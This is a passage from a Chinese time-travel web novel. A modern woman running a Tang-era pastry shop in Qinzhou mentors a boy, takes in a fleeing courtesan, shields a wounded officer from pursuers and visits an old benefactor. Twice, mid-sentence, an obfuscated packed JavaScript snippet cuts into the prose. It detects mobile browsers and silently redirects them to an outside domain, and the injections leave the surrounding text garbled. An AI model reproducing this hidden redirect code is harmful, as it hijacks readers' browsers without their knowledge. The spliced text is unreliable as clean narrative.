做好的酥糕层层叠叠如螺钿,色泽金黄灿烂,胡麻粒粒饱满如金粟,吃起来酥脆掉渣,内里软糯适口,醇香混着微甜,当年裴清梧去常州玩时买了两块,惊为天饼,现在搬到古代来,也颇受人喜爱。 餐饮业从古至今都不太好干,都是辛苦活,裴清梧常看母亲头一天就早早起来,开始备材料、做东西,那一块又一块的点心,攒出了裴清梧的生活费和学杂费,也让母亲年纪轻轻就累出了一身的毛病,如今,她也是切身体会到了。 但再怎么辛苦,也是自己的手艺,是能让自己不靠别人就吃上饭的手艺,正如当年生物爹出轨且家暴后,是母亲提出离婚,独自抚养自己的底气,也是自己能在古代安身立命的本事,有了这个小店,她可以过自己想过的生活,不必像原身一样,花一般的年纪,被磋磨致死,也无处申冤。 做完之后,已是丑时,银岚熬不住睡去了,顾恒却还守在外头,一边看书,一边等她。 醉月楼鸨母怎么可能让他读书,就只阿娘不忙的时候,会教他识字,毕竟是个秦州有名的花魁,顾皎识文断字,还会写诗和小令,可他一看见字就头疼,没认真学多少。 来了裴清梧身边后,由于骨子里的劝学血脉,她也让他读书,威胁他不听话就断月钱,顾恒才老老实实地捧着本《诗经》看。 “怎么还在等着,不是说不用陪着我熬,你自去睡就好。”裴清梧擦着手,温和地笑问他。 “反正我也睡不着,就当陪东家了。”顾恒一边说,一边翻了一页书。 裴清梧探头看去,咧了下唇:“看得这么快,昨日还才刚看《蒹葭》呢,只是看得快,却要记在脑子里啊。” 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230896|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恒心虚地别过头。 “而且,你确定你真的看懂了?就比如这《桃夭》,它是什么意思,你真的懂?”裴清梧追问道。 “桃、桃……”他结结巴巴。 以前醉月楼有个叫桃夭的,后来,被秦州都督赎走做妾了,他当时只知道名字好听,却不知是来自于《诗经》,更不知是什么意思。 说着,顾恒深深垂首。 他不肯读书的时候,阿娘就会打他,流着泪说不读书,你当怎么办呢,不确定裴清梧会不会像那样。 应当不会吧,哪有主家会对护卫这般上心的。 可裴清梧不是普通主家啊…… 心里头一个小小的声音对他说。 纠结着,裴清梧从他手中抽掉书,往他身边一坐,挨得近了,她身上的味道就往他鼻子里钻。 贵女们爱用香,炒得沉香麝香等一斤值千金,裴清梧显然用不起,但每日在庖厨里泡着,身上难免有味道,为了祛味,浣洗完衣服,她就用橘柚皮浸渍,是一股淡淡的果香,格外沁人心脾,清雅至极。 也闻得顾恒脸红。 “夭夭者,嫩柳迎风之态,如少女纤腰袅袅;灼灼者,霞光透瓣之色,似新妇玉面含春。古人以桃木为辟邪嘉木,其花娇而不妖,艳而不冶,以此初绽之桃拟嫁女,既颂其芳华正盛,更暗喻为家室添祥瑞之深意,所谓‘宜室宜家’,非止容颜称美,实赞新娘有中和之德,如桃实可养人矣……” 裴清梧本着认真解读的想法,可顾恒一听此诗是描写新妇出嫁之景,且为新人送上祝福,不知怎的,脸红得更厉害了。 “……花容终随四时改,家道当以百岁计,硕果累累,既兆多子之吉,《礼记》云,‘桃多子’,祥符也……” 裴清梧还在滔滔不绝,顾恒却猛地起身:“东家,我乏了,想去睡觉了。” 说罢,他便转身匆匆忙离去。 “哎?”裴清梧不解,低头看了看手里的书,恍然大悟一般——顾恒不过十五岁不到十六岁的少年郎,正是该思慕的季节,读这种诗,显然会胡思乱想。 罢了,明日找《楚辞》给他看,顺便教教他屈原的为人。 自己也起身回去睡时,裴清梧却又想起了别的事。 刚穿过来的时候,刘氏要强将自己许配给孙成为妾,虽说自己懂律法,以此脱身,可若无张俭公仗义执言,恐怕脱离孙家自立女户之事,也没那么顺遂。 眼看着要过年了,总得找个时间,带着礼物上门拜访一下张公。 只不知道张公喜欢什么,该送他些什么好。 要不,还是做些点心送,反正自己最擅长这个,且自己亲手做的东西,无论哪朝哪代,都是最有诚意的。 南昌花酥、糖沙翁、豌豆黄、桂花糕……似乎都不错,酥软好克化,还不粘牙,正宜老人吃,样子也好看,送礼拿得出手,材料也简单,没有的,明日出门买就是了。 花酥的猪油还可以换成玉米油,减轻肠胃负担。 想好之后,裴清梧满足睡去。 第二日,她将做好的点心一一摆上柜台,让顾恒把昨晚熬夜烤出来的金粟千层旋包好,往秦州司马府上送去,嘱咐银岚好生招待买点心的客人,自己出门买材料去了。 要买些玉米油,买些莲蓉,豌豆,以及家里的面粉和糯米粉也所剩不多,都要买。 一路盘算着,不知不觉,走到了醉月楼门前。 发现了之后,她本想离得远些,顾皎死时的惨状还在她心里盘旋,她对这种地方实在没什么好印象,脚步还未迈动,却在冰天雪地里,瞥见一个熟悉的身影。 天寒地冻的时节,她却只穿着轻纱襦裙,手脚都被冻得通红,瑟瑟发抖,垂下的发丝也在抖,狼狈极了。 正是有过一面之缘的茜桃。 “茜桃?你在这里做什么?” 茜桃抬眼,她的睫毛已经冻上了一层薄霜,见是裴清梧,嗫嚅道:“我,我今日身子不适,客人却非要我陪,我推脱了一下,就把我丢出来了……” 10. 结识赵叙 她是有什么必要完成的捡受伤男人的KPI吗?怎么只是正常走个路,就又遇上一个受伤男人呢? 裴清梧来不及吐槽什么,就听闻远处隐隐传来杂沓的脚步声和压低的凶狠呼喝:“仔细搜!定是在这坊曲之中,他跑不远的,血迹到这儿断了!” 闻言,赵叙顾不得许多,握着她手腕的力道又紧了几分:“裴东家……” 裴清梧目光扫过巷子深处,极窄的狭巷,仅容两人并肩,曲折幽深,堆满杂物,躲无可躲,一眼便能望穿,若任由他们追来搜查,赵叙必然暴露。 没过多思考,裴清梧反手抓住赵叙捂在伤口上的那只手,用力将他整个人往自己这边一按。 赵叙猝不及防,被她大力带得踉跄一步,半个身子几乎贴靠在她身上,浓重的血腥气瞬间将她包围。 “低头!”裴清梧急促地低喝一声,不等赵叙反应,已踮起脚尖,伸出双臂猛地环抱住他的脖颈,将他的脸强硬按向自己的颈窝。 与此同时,她猛地将自己头上那顶用来挡雪的幂篱①用力往下一扯。 宽大的帽裙如同瞬间垂落的幕布,借着狭窄巷道的阴影,将两人相拥的上半身,尤其是赵叙的面容,遮得严严实实。 雪白的轻纱拂过赵叙的面颊,使得他身体骤然僵直,伤口被挤压得一阵剧痛,但他瞬间明白了裴清梧的用意,强忍着没有推开,反而极其配合地微微弯腰,将头更深地埋入她的颈窝,伪装成极度亲昵的姿态。 宽阔的脊背挡住了裴清梧的大半身形,也挡住了他肋下的伤处。 “嘘……别出声!” 裴清梧的声音透过幂篱的薄纱,带着不易察觉的颤抖,心跳如擂鼓,却死死抱着他,仿佛真是热恋中难舍难分的情侣。 沉重的脚步声,伴着兵器摩擦甲胄的声音,急促地逼近。 “头儿!这里有血迹!”一个粗嘎的声音响起。 “搜!” 几道身影堵在了狭窄的巷口,火把的光线骤然涌入,将相拥的两人投射在巷壁上,影子被拉得老长,透过薄纱,晃得裴清梧眼前一片昏黄。 她心中警铃大作,急中生智,猛地拔高了嗓音,带着明显的哭腔和嗔怨,声音又娇又颤,极力模仿着那些小娘子与情郎闹别扭的腔调:“呜……你这狠心的贼!大雪天非要拉人家出来!冻死了!就不怕我着了风寒,明日见不得人么?就知道哄我!方才那卖胡饼的娘子多看了你一眼,你魂都丢了是不是?我不管!这鬼地方又冷又黑,我要回去!呜呜……” 她一面假哭,一面用手在赵叙的后背不轻不重地捶打了几下:“抱紧些!冻煞我了!” 这番做作,活脱脱一个在僻静处与情郎私会撒娇又吃飞醋的小娘子模样。 那几个追兵举着火把,被这突如其来的野鸳鸯惊得脚步一顿。 火光下,一对男女紧紧相拥,女子带着幂篱看不清面容,只露出纤细的下颌和环抱着男子脖颈的雪白手腕,男子则仿佛在温言安抚,将头深深埋在女子颈窝,姿态亲昵狎昵。 为首的汉子低声啐了一声:“原只是躲这儿偷腥的!” 另一个追兵皱着眉,借着火光仔细扫视两人脚下和周围,除了些杂乱的脚印,并未发现新的血迹。 巷子太窄,又被这两人堵了大半,实在不便强行闯入搜查。 “血迹到此为止,怕是那厮用了什么法子止住了……”有人低声道。 为首的汉子目光在紧紧相拥的两人身上又扫了一圈,烦躁地挥了挥手:“娘的,别在这儿耽误工夫!去别处搜!仔细盯着坊门和医馆药铺!” 脚步声和火光迅速远离,渐渐消失在风雪呼啸的街巷深处。 巷子里恢复了黑暗与死寂。 裴清梧紧绷的心弦骤然松弛,几乎脱力。 她这才发觉自己后背已被冷汗浸湿,手脚冰凉,刚想松手推开赵叙,环在他颈后的手臂却被一只温热且带着薄茧的大手轻轻按住。 “请裴东家再稍待片刻。”赵叙的声音贴着她的耳畔响起,低沉沙哑:“恐其去而复返,或留了眼线。” 一想到这种可能,裴清梧不敢再动,只能屏住呼吸,僵硬地维持着拥抱的姿态。 罡风在巷口呼啸盘旋,卷起地上的雪沫,不知过了多久,直到确认外面彻底没了动静,赵叙紧绷的身体才缓缓放松,按着她手臂的力道也松开了。 他艰难地直起身,伤口被扯动,闷哼一声,踉跄着后退一步,靠在了对面的墙壁上,大口喘息。 裴清梧也赶紧松开手,一把掀开碍事的幂篱,大口呼吸着冰冷的空气,只觉脸颊滚烫。 “裴东家……”赵叙的声音带着浓重的歉意和感激:“仓促之间,辱及娘子清誉,实乃无奈之举,赵某惭愧万分,万死难辞其咎!” 裴清梧摆摆手,心有余悸地抚着胸口:“赵郎君言重了,事急从权,保住性命要紧,清誉什么的……权当被狗啃了罢……” 她语气尽量轻松,试图化解尴尬。 赵叙微微一怔,似乎没料到她会如此豁达直白,眼中掠过一丝惊讶,随即竟浮起一丝笑意。 “早就听说裴东家名声,今日一见,果然非凡,东家高义,赵某铭记。”他说着,从怀中费力地摸索片刻,掏出一物递了过来。 是一枚小巧的羊脂白玉佩,雕琢成精致的凤鸟衔芝形状,玉质温润,在黑暗中都自带微光,一看便知非寻常之物。 “此乃赵某随身信物,凭此玉佩,娘子可随时至赵府寻我,亦可持此玉环,在城内恒通柜坊②支取纹银百两,权作今夜救命?及补偿之资。”他语气郑重:“日后东家但有驱策,只要不违道义国法,赵某定当倾力相助。” 她推脱了几番,但赵叙依旧坚持,见他的脸色因失血愈发苍白的脸色知道再推拒下去,只会耽误他疗伤。 “也罢。”她将玉佩小心收入袖中:“奴家暂且保管,郎君速去寻医吧,伤势耽搁不得。” 赵叙深深看了她一眼:“裴东家保重。” 话音未落,他已强提一口气,身形如矫健的豹,迅速转身,几个起落便消失在巷子更深的黑暗与风雪之中,再无踪迹可寻。 唯有空气中残留的淡淡血腥气,证明方才惊心动魄的一幕并非幻觉。 巷子里彻底安静下来。 裴清梧靠在冰冷的土墙上,长长地吁出一口白气,只觉得心力交瘁。 “这都是什么事儿啊……”她揉了揉额角,无奈地低语:“先是阿恒,再是赵叙……我这是犯了哪路太岁?合该去开个医馆或者镖局才对!” 说着,她摇摇头,重新戴好幂篱,紧了紧身上的衣衫,走出暗巷。 买好了东西后,她不敢耽搁,生怕路上再捡到什么人,急匆匆回了家。 屋内,银岚烧了热水,让茜桃沐浴,一边洗着,一边还拿了柚子叶,在她身前虚虚地滑过,笑道:“祛祛那腌臜地方带出来的晦气,往后茜桃娘子的一生,顺顺遂遂了。” 雾气弥漫中,茜桃红了一双眼,抿唇不语。 “呀,东家回来了?” 见裴清梧解了斗篷进来,银岚忙迎上来:“外头风雪是不是愈发大了?东家可是挨冻了?这么冷的天,就不该出去……” 她一面絮叨着,一面替裴清梧打理衣裳。 “还好,不是很大,我倒也习惯了。” 在现代她就是北方人,秦州虽说属于西北,但气候更接近南方,这点风雪,比起她曾见过的,还差得远呢。 “东家可是饿了?我做了些葫芦头③泡馍,正巧茜桃娘子也洗完了,你们一同用些,也暖暖身子。” 裴清梧确实饿了,奔波许久,又救了茜桃和赵叙,情绪大起大落后,人总会饥肠辘辘。 “好。”她笑着点了点头,因不见顾恒,随口问了一句:“阿恒呢?阿恒去哪儿了?” “哦,阿恒说你回来定是要接着做点心的,他去厨房给你烧了炭火。” “倒是个妥帖孩子。”裴清梧叹了一声。 此时茜桃也洗好了,银岚给她找了一身素色棉袍,穿着略显宽大,却掩不住洗去铅华后的清秀?乌发微湿,带着水汽,衬得面庞愈发白皙,唯有眼眶的红痕未消。 她安静地立在裴清梧身旁,带着初离牢笼的拘谨与茫然。 银岚手脚麻利,已将两张矮几并在一处,捧上两个热气腾腾的青瓷海碗。碗中汤色奶白浓郁,浮着切成斜片的葫芦头,油脂透亮,配着掰成指尖大小、吸饱了汤汁的硬面饼块,其上点缀着翠绿的葱花和几粒橙红的枸杞,并几片鲜嫩的猪肚片。 骨汤经久熬煮后的精华醇香浓厚,混合着肠肚特有的丰腴,勾得人腹中馋虫大动。 “快坐下,趁热吃。”裴清梧招呼茜桃,自己也盘膝坐在毡垫上。 奔波之后,这香气格外诱人。 茜桃依言坐下,拿起银匙用饭。 甫一入口,滚烫浓厚的汤汁便熨帖了肠胃,鲜香直透脊背,肠段处理得极干净,毫无秽气,入口软糯弹牙,肥而不腻,饱吸了骨汤的精华,滋味异常醇厚。 泡馍块外软内韧,嚼劲十足,裹挟着汤汁的鲜美在齿间回荡。 裴清梧吃得额头微汗,齿颊留香,忍不住赞道:“银岚这手艺越发好了,这葫芦头熬得地道,汤头也鲜。” 银岚在一旁布箸,闻言笑道:“东家喜欢便好,多用些,暖暖身子骨。” 碗中热气氤氲,屋外风雪声隐约。 裴清梧看着茜桃小口小口地吃着,待她看着像快吃完的时候,便温和问道:“茜桃娘子,莫怪唐突,不知你原是何处人氏?家中可还有牵挂?” 茜桃执匙的手微微一颤,一滴汤汁溅落在矮几上,头垂得更低,声音细若蚊呐:“回东家话,奴、奴本姓程……名字早记不清了,只记得家在离秦州很远的乡下,也只记得有个阿爷,身子骨长年不好,卧在榻上,日日离不得汤药……” 说到此处,她哽咽了一下,强忍着继续道:“那时节实在没法子了,田里收不上粮,药钱又贵……后来、后来便把我给卖了……” 小娘子语声凄楚,再也说不下去,只余阵阵压抑的抽泣声。 裴清梧心中恻然,放下银匙,伸出手,轻轻用拇指拭去茜桃脸颊上的泪水:“莫哭莫哭,都过去了,那些腌臜事、腌臜地方,从此与你再无干系。” 茜桃抬起婆娑泪眼,望向裴清梧。 裴清梧迎着她的目光:“银岚为你用柚子叶祛晦,是为你迎新,卖身 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好像这院子旁的地方也无人居住,不如攒够了钱,找牙行的人一并买下,扩充成个大院子,反正自己也早晚要扩大经营规模的。 裴清梧这样想着,嘱咐茜桃好好睡觉,自己往厨房去,预备做明日带给张公的点心。 厨房内,一个清瘦的身影背对着他,拨弄着炭盆。 “阿恒,还不睡啊?” 闻言,那身影猛地一颤,像是被惊扰了清梦的狸奴,慌忙转过身来。 火光映照下,少年白皙的脸颊被热气熏出两抹薄红,眼神有些躲闪,低声道:“东家,我、我等等您……炭火刚旺起来,正好合适做点心。” 裴清梧走近,炭火的暖意立刻包裹上来,她看着顾恒微垂的侧脸,烛光在他长长的睫毛下投出浅浅的阴影,轻笑道:“点心明日做也不迟,快去歇着吧,仔细熬坏了眼睛。” “不碍事的……”顾恒声音透着股执拗,依旧拨弄着炭盆里的余烬,火星噼啪轻响。 恰在此时,一阵极其清晰的“咕噜”声,突兀地从顾恒腹部传来,在静谧的厨房里格外响亮。 顾恒整个人瞬间僵住,耳根肉眼可见地变得通红,仿佛要滴出血来,窘迫得恨不能找个地缝钻进去,手中的火箸都差点掉落。 他猛地站起身,语无伦次:“我、我先回……” 裴清梧眼疾手快,一把拉住他微凉的手腕:“走什么?正是拔节抽条长身体的时候,饿不是顶寻常的事?硬撑着反倒伤身。” 顾恒被她拉住,动弹不得,只觉得被她握住的地方滚烫一片,直烧到心里去,头垂得更低了,讷讷道:“我……我真不饿……” 话语却苍白无力,又一声响亮的腹鸣,便是最好的反证。 “嘴硬。”裴清梧松开他的手腕,自然地挽起自己襦裙的窄袖,露出半截莹白的小臂。 她走到墙角堆放杂物的筐边,弯腰挑拣出两块个头饱满圆实的芋头:“正好,省得你来回跑。先坐着暖暖身子,我用这炭火给你煨两块芋头垫垫饥,再快烙几张饼,很快就好。” 顾恒依言坐下,蜷在温暖的炭盆旁,目光却不由自主地悄悄追随裴清梧忙碌的背影。 只见她麻利地用火箸在炭盆边缘刨出两个浅坑,将芋头埋了进去,又覆上一层薄薄的热灰。 动作间,发髻旁一缕碎发散落颊边,随着她的动作轻晃。 很快,一股奇异香气便从炭灰下丝丝缕缕地钻了出来,焦糊中透着清甜,越来越浓。 用火箸小心地拨开灰烬,露出两个表面已烤得焦黄的芋头,夹起一个,在手里掂了掂,烫得她飞快地在两手间倒腾了几下,才递给顾恒:“喏,小心烫手,慢点吃。” 顾恒双手接过,那热气腾腾的芋头表皮裂了好几个口子,露出内里雪白粉糯的芯子,小心翼翼地掰开滚烫的外皮后,一股更馥郁的热气扑面而来。 白生生的芋肉冒着白烟,颤巍巍的,入口软糯香甜至极,还带着炭火独特的焦香风味。 “好吃吗?”裴清梧一边问着,一边已快手快脚地和起一小团面,擀成薄片,又从陶罐里挖了一勺雪白的猪膏,均匀地抹在面片上,撒上一小撮细盐和碾碎的黑芝麻粒。 铁鏊子早已被炭火烤得滚烫,面饼“滋啦”一声摊开在其上。 霎时,麦香混合着猪油受热的焦香猛地炸开,强势地盖过了芋头的清香。 那饼在热鏊上迅速变色,边缘微微卷翘,无数细小的油泡在饼皮表面欢快地跳跃,滋滋作响。 裴清梧手腕翻飞,利落地将饼翻面,另一面同样被烙得金黄诱人,一层层酥皮在火光下清晰可见。 不过片刻,几张金黄酥脆、油润喷香的烙饼便摞在了一旁干净的盘子里,裴清梧拿起最上面那张,热乎乎地递给顾恒。 顾恒接过那烫手的饼,低头大口咬下,饼皮焦脆掉渣,内里却带着韧劲,咸香适口。 他吃着饼,再次偷偷抬眼去看裴清梧。 她正微微弯着腰,借着炭火的光亮,专注地查看另一枚芋头的火候,火光跳跃在她清澈的眼眸里,像落入深潭的星子。 风雪之声被隔绝在厚厚的门窗外,小小的厨房里,只有炭火偶尔的噼啪和少年满足的咀嚼声。 11. 危机降临 细腻的麦粉倾入青瓷海碗,掺入新磨的糯米粉,以井水细细调开,纤指揉捻之间,面团渐如羊脂玉般莹润生光,覆上湿葛布静置。 待发酵好,便取面团分作小剂子,擀开后铺上莲蓉或红豆沙,叠为千重云罗,刷上透亮的玉米油,送入胡饼炉,以暗火慢烘。 这个时间,正好另取面团搓成龙眼核大小,油烧得滚烫,眼见浮起,便迅速捞出,趁热滚进石臼里研磨出来的蔗糖霜,糖霜遇热凝得如同琥珀一般,脆壳下绵若新絮,其中千万雪山纠缠,软糯可口。 那边胡饼炉里的花酥也好看,酥香透壁,现出金菊雪蕊之姿,层次分明间,隐隐可见莲蓉赤金,与豆沙暗绡。 那边豌豆仁早已文火煨绵,滤净浇入浅碟,添上化了的蔗糖搅匀,先在井水里镇着,明日起来,会凝固好,到时再切成方胜菱花。 糯米浆也滤好,拌入腌的桂花糖渍,层层浇入竹屉,以猛火催得白雾弥漫时,揭笼便见凝脂缀金,浓郁的桂花香气扑鼻而来,拿刀切的时候,软如云朵,诱人极了。 忙完这一切,夜已深到月亮都打起了盹,顾恒却依旧陪着她,尽管已经困到脑袋如同小鸡啄米一般,一点一点。 “难为你陪我这么久,快去睡吧。”裴清梧推了推他,而后从灶台上端来温好的牛乳递给他,怜爱道:“喝了热牛乳再去睡,能睡得踏实。” “嗯……” 第二日裴清梧倒没着急去拜访张公,大清早饶人清梦,实在是不太厚道,先只在柜台前卖点心,带着茜桃一起,算是让她熟悉业务。 离了醉月楼,茜桃穿的要朴素许多,不过一件浅粉色棉质襦裙,发髻只用两支小银簪子绾着,鬓边压着一朵米珠儿攒成的珠花,端的一派清水出芙蓉,天然去雕饰。 裴清梧的容貌其实也不差,只是她的美,并非茜桃那种令人一眼惊艳、不可方物的明艳,生得温婉清丽,一张鹅蛋脸柔和饱满,肌肤如新雪般莹白剔透,唇边时常挂着柔和的笑意,如山间涓涓细流,又如同雨后初霁的晴空,明朗却不刺眼。 二位俏生生的小娘子往柜台后一站,便是活招牌。 一上午客流量不低,裴清梧有意锻炼茜桃,每每有客人至,便叫她上前,试着介绍一番。 “这是咱家的招牌龙须酥,是东家起家的绝活儿,拿受热融化的饧糖,裹了糯米粉拉丝,模样如雪堆儿一般,咬下去是千丝万缕,软糯如新絮的芯儿,甜丝丝的,入口即化,半点不粘牙,有道是‘其中千万雪山纠缠’,又酥又糯,秦州城里独一份。” “这是玉絮糕,拌了秘制桂花糖渍的糯米浆,层层蒸浇,蒸足了火候,才得了这般质感,瞧这切面软如云朵,甜味全靠熬化的上好蔗糖和桂花蜜,是以清甜不腻,咬下去满口桂香,喉咙都是润的,配一盏清茶吃,最熨帖不过,今早才出锅的头一屉,软糯正好,您可以先尝尝。” 茜桃起初还有些拘束,声音放不开,但很快便找到了感觉,毕竟曾有在醉月楼里应对八方来客的玲珑劲儿,说着说着便渐入佳境,声音温软,语调轻快。 “我们这酥山小集,所有点心,都是裴东家独门的秘方,只有这里有,旁的地儿花多少钱都买不到,连秦州刺史家的千金赵娘子都觉着好。” 新鲜,好吃,再加上高门显贵喜欢,人呐,总有种心理,觉得自己用过吃过和贵人一样的东西,便和贵人没什么分别了,茜桃倒挺会抓这种心理的,牟足了劲,要把来客的钱包掏干净。 裴清梧在旁边瞧着,越瞧越觉得茜桃不错,便嘱咐顾恒和银岚帮忙看好店,自己去了张俭家。 张俭家离安业坊不算近,怕点心跑了味,裴清梧特地奢侈了一把,雇了个马车过去。 他致仕前也不过秦州府衙之吏,又是个正直的,是以家里并不奢华,也就一个小院子,只一个头发花白的老妈子看门,引了裴清梧进去。 院中陈设也极简单,正符合了文人的清雅趣味,方方正正的小院一角,用青砖砌了个小花坛,植着几株修竹,疏朗挺秀,另一角则搭了简易的木架,上边铺晒着几卷有些发黄卷边的书籍,并几册用细麻绳装订的手稿。 正堂的门敞着,挂着半旧的细竹帘,能隐约看见里头空荡荡的堂屋,并不怎么大,只摆了一张磨到发亮的旧方桌和同样上了年纪的圈椅,扶手处油润光滑,墙上挂着一副山水画,泼墨雅致,笔意疏淡,桌上放着一套白瓷茶具,茶盘边缘好像崩了一个小口。 一股若有似无的苦涩药草香味,淡淡地弥漫在空气中,似是从厨房传来。 “张老佐史是生病了吗?怎么,在喝药啊?”裴清梧忍不住问了一句。 “哦,不过是上了年纪,身子便多多少少有些不虞之处,煎着草药养生罢了。”老妈子答。 引着裴清梧进了正堂后,张俭与其夫人已闻声迎了出来。 张公还如曾经初见时一般,须发半白,身形清癯,穿着一件洗得有些发白的靛蓝圆领袍,精神矍铄,眼神依旧透着读书人的清亮与洞明。 张夫人则慈眉善目,穿着素净的赭色襦裙,发髻梳得一丝不苟。 “裴娘子来了,快请坐。”张俭声音温和,带着些许沙哑。 裴清梧忙敛衽行礼:“晚辈裴清梧,拜见张公,拜见老夫人,久未探望,实在失礼,今特备了些自家做的粗陋点心,聊表心意,还望莫要嫌弃。” 说着,便将精心包扎好的点心匣子奉上。匣盖微启,隐约透出酥点的甜香与桂花的清芬。 张夫人笑着接过:“娘子有心了,这味道,闻着就叫人食指大动呢。” 老妈子奉上茶水,正堂里顿时飘散开陈茶的微涩与新点心的甜香。 几人分宾主落座,张俭啜了口茶,关切问道:“听闻娘子自立了女户后,开了这酥山小集,着实不易,你前头那个……可还再来纠缠生事?” 他指的是裴清梧那不省心的前夫家。 裴清梧微微摇头,温言道:“劳张公挂心,自得了官府的判,他们心里有怨,也不敢来放肆了,如今守着点心铺子,日子倒也清净安稳。” “那就好。”张俭颔首,眼中带着赞许:“女子行商贾之事,抛头露面,其中艰难,老夫亦能想见一二,娘子能有此志气与手艺,实属难得。” “不敢当张公谬赞。”裴清梧欠身道:“若非当日张公仗义执言,主持公道,清梧焉有今日?此恩此情,清梧一直铭记于心,不敢或忘。” 张俭摆摆手,叹道:“不过是举手之劳,娘子不必再提,看到你如今这般自强自立,老夫心中甚慰。” 闲话了几句铺中琐事,裴清梧想起那夜遇到的赵叙,心中微动,便自然地引着话头道:“说来也是凑巧,前几日深夜,我竟无意间撞见一位重伤的郎君,还被人追着,幸好福大命大,没被仇家抓走。” “哦?竟有此事?”张俭夫妇俱是一惊:“可知是哪家的郎君?如今可安好了?” 裴清梧摇摇头,面上带着几分恰到好处的困惑与后怕:“当时救人要紧,未曾细问,那人醒后也只道谢,未通姓名来历便匆匆离去,但我观其气度,倒不似寻常百姓,只是伤得那般重,又夜半出现在坊巷深处,着实蹊跷,张公您在府衙多年,见多识广,不知近来城中,可有什么风声吗?” 张俭闻言,眉头微蹙,指节下意识在磨得油亮的旧桌面上轻轻敲了两下,若有所思。 须臾,他似乎想到了什么,低声问道:“那郎君可是生得颇为英武,眉宇间却带着一股子桀骜不驯之气?” 裴清梧心中微动,面上却只作回忆状:“确如张公所言,气宇不凡,只是当时重伤狼狈,我没能瞧清楚,莫非张公识得此人?” 张俭轻哼一声,带着几分了然的无奈笑意:“若老夫所料不差,娘子救下的,十有八九是咱秦州赵使君家那位最令人头疼的大郎君赵叙。” “竟是赵刺史的公子?!”裴清梧佯装吃惊道。 “不错。”张俭又啜了口茶,缓缓道:“这赵家大郎,可忒让赵使君头疼了些,使君一心盼他读书进学,走科举正途,博个功名光耀门楣,奈何此子自小便喜好弓马,性情刚烈,前些年更是瞒着家里,一意孤行去投了军……听说在陇右边军里倒是混出了些名堂,凭着敢打敢拼和些许家世荫蔽,年纪轻轻,竟已做到了陇右道行军总管帐下的正六品上昭武校尉,领一营兵马了。” “赵使君对此是又欣慰又气恼,欣慰的是儿子总算有了出息,气恼的是终究是走了武夫的路子,背离了他的期望。这次突然重伤潜回秦州……”张俭的眉头又皱紧了,压低声音:“恐怕不是小事,多半是军中机密任务出了纰漏,或是得罪了狠人遭了暗算,娘子救了他,算是缘法,但也莫要声张,以免惹上不必要的麻烦。” 裴清梧听得心中波澜起伏,面上却维持着镇定,忙应道:“多谢张公提点!晚辈省得轻重,此事定当守口如瓶。” 正说着,张俭忽然低声咳嗽起来,张夫人连忙轻抚其背,又端了温水递过去。 老妈子也赶紧从厨房端来一小碗刚熬好的药汤,那股苦涩的药味又浓了几分。 “张公的身子……”裴清梧关切问道。 “不妨事,老毛病了。”张俭喝了药,缓了口气,摆摆手:“人老了,气血终究不济,偶感风寒罢了。娘子不必挂怀。” 见张俭面露疲色,裴清梧知趣地起身告辞:“张公和老夫人好生歇息,晚辈改日再来看望。” 张夫人扶着丈夫,微笑道:“娘子慢走。这点心,我们定要好好尝尝。路上小心。” 裴清梧再次行礼,由老妈子恭敬地送出了院门。 回了铺子的时候,已是中饭时节,按着裴清梧的吩咐和往日习惯,酥山小集暂且闭店,后院厨房,银岚琢磨着午饭做些什么。 “东家回来了?”顾恒远远就瞧见了她,忙起身道,言语间隐隐欢喜。 “这几日路上可不好走,东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230899|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家坐了车,那马行的还稳当吗?”银岚也问。 裴清梧笑:“哪里那么夸张,这不是回来了吗……嗯,好香,银岚,你打算做什么吃?” 银岚正往陶盆里倾入筛好的麦粉,清水徐徐注入,五指翻飞搅作絮状,口中应道:“天寒,想着做些热乎的,胡麻旋饼和羊肉菘菜羹就不错。” 裴清梧点头赞道:“听着便暖胃。” 又含笑转向茜桃:“今日如何?可累了?” 茜桃眼睛亮晶晶的,脸颊因忙碌泛着健康的红晕:“不累!比在醉月楼自在多了,客人也和气,就是刚开始介绍时,嗓子有点紧,后来学着东家说的,想着那点心有多好吃,话顺溜了,声音也跟着大了些。” 说话间,胡麻炒香碾碎,和了椒盐,揉进发好的面团里,擀开旋成圆饼,先在铛上烙出焦壳,再送入灶膛边上,借那余温烤熟了,一层层起酥爆开。 吊了半日的羊骨浓汤,撇了浮油,拿井水湃过的嫩菘菜心细细切了丝,投入滚沸的汤中略滚,再撒一把碎芫荽,点了几滴新榨的麻油。 不多时,银岚便端上饭菜。 金黄油亮的胡麻旋饼层层叠叠,热气裹挟着椒盐与芝麻的焦香,轻轻一掰,脆皮簌簌落下,里头是带着嚼劲的软面。 奶白的浓汤上浮着翠绿的菜丝与碧绿的芫荽末,羊肉的醇厚与蔬菜的清甜融于一鼎,寒气顿时被驱散大半。 众人围坐,就着羹汤,吃着喷香的旋饼,小小的后院暖意融融。 饭毕,茜桃从袖中取出一张红纸单子:“东家,今日有位衣着体面的娘子来,替她家将要迎娶新妇的郎君订点心,说是喜宴上用,要看着喜庆吉利才好,这是她留下的单数和定金。” 裴清梧接过单子,扫视着沉吟,脑海中瞬间掠过无数后世精巧的点心样式。 既要符合唐代审美,又要喜庆新颖…… 思索片刻后,眼中光彩渐聚,提笔蘸墨,在单子背面勾勒起来。 